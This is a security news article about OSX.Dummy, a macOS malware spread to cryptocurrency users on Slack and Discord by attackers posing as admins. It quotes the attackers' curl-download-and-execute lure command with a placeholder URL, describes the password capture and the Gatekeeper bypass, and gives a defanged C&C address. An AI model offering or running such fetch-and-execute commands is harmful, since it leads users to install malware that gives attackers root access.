Friday, April 19, 2024

MACOS Malware Targeting Cryptocurrency Users On Slack and Discord – 100% Undetected Virustotal

Hackers targeting Cryptocurrency users On Slack and Discord chat platforms with MACOS Malware dubbed OSX.Dummy.

The malware targeted users in crypto related chat groups Slack or Discord by impersonating admins or key people. Attackers shared small snippets which result in downloading the malware said Remco Verhoef, who spotted the malware first.

Hackers trick’s users to get infect themselves by running the following script, that results in downloading the malware.

$ cd /tmp && curl -s curl $MALICIOUS_URL > script && chmod +x script && ./script

If victims execute the curl command it downloads the large mach064 binary (34M) to /tmp/script which has a perfect score on virustotal 0/64 and the file executed.

MACOS Malware not signed

The MACOS malware was later analyzed by malware researcher Patrick Wardle, according to his analysis report the MACOS Malware was not signed and it contains various libraries such as OpenSSL and V8 appear to be statically compiled in.

The malware bypass Gatekeeper that restricts running unsigned binaries, it was first introduced in Mac OS X Leopard, it enforces codesigning and verifies the application before running.

But if the user downloads and run the binaries through the terminal, GateKeeper does not come into play, so an unsigned binary will be executed.

Wardle said the malware set’s itself to run as root and requires users to enter a password for changing file permission. Then the password will be saved to /tmp/dumpdummy and then malware sets the script to be executable.

If the attack successful then malware establishes the connection to attackers C&C server (185[.]243[.]115[.]230) through port 1337 and the attacker can execute arbitrary commands as root user on the infected machine.

Also Read

New Android RAT Spotted in Wild Abusing Telegram Protocol for Command and Control

Chinese APT’s New Malware MirageFox Launch Cyber Attack on Government & Military Sectors

Banking Malware posed as a Popular Social Media App to Steal Financial Data From Online Banking Systems


Latest articles

Alert! Windows LPE Zero-day Exploit Advertised on Hacker Forums

A new zero-day Local Privilege Escalation (LPE) exploit has been put up for sale...

Palo Alto ZeroDay Exploited in The Wild Following PoC Release

Palo Alto Networks has disclosed a critical vulnerability within its PAN-OS operating system, identified...

FIN7 Hackers Attacking IT Employees Of Automotive Industry

IT employees in the automotive industry are often targeted by hackers because they have...

Russian APT44 – The Most Notorious Cyber Sabotage Group Globally

As Russia's invasion of Ukraine enters its third year, the formidable Sandworm (aka FROZENBARENTS,...

SoumniBot Exploiting Android Manifest Flaws to Evade Detection

A new banker, SoumniBot, has recently been identified. It targets Korean users and is...

LeSlipFrancais Data Breach: Customers’ Personal Information Exposed

LeSlipFrancais, the renowned French underwear brand, has confirmed a data breach impacting its customer...

Cisco Hypershield: AI-Powered Hyper-Distributed Security for Data Center

Cisco has unveiled its latest innovation, Cisco Hypershield, marking a milestone in cybersecurity.This groundbreaking...
Guru baran
Guru baran
Gurubaran is a co-founder of Cyber Security News and GBHackers On Security. He has 10+ years of experience as a Security Consultant, Editor, and Analyst in cybersecurity, technology, and communications.


Mastering WAAP/WAF ROI Analysis

As the importance of compliance and safeguarding critical websites and APIs grows, Web Application and API Protection (WAAP) solutions play an integral role.
Key takeaways include:

  • Pricing models
  • Cost Estimation
  • ROI Calculation

Related Articles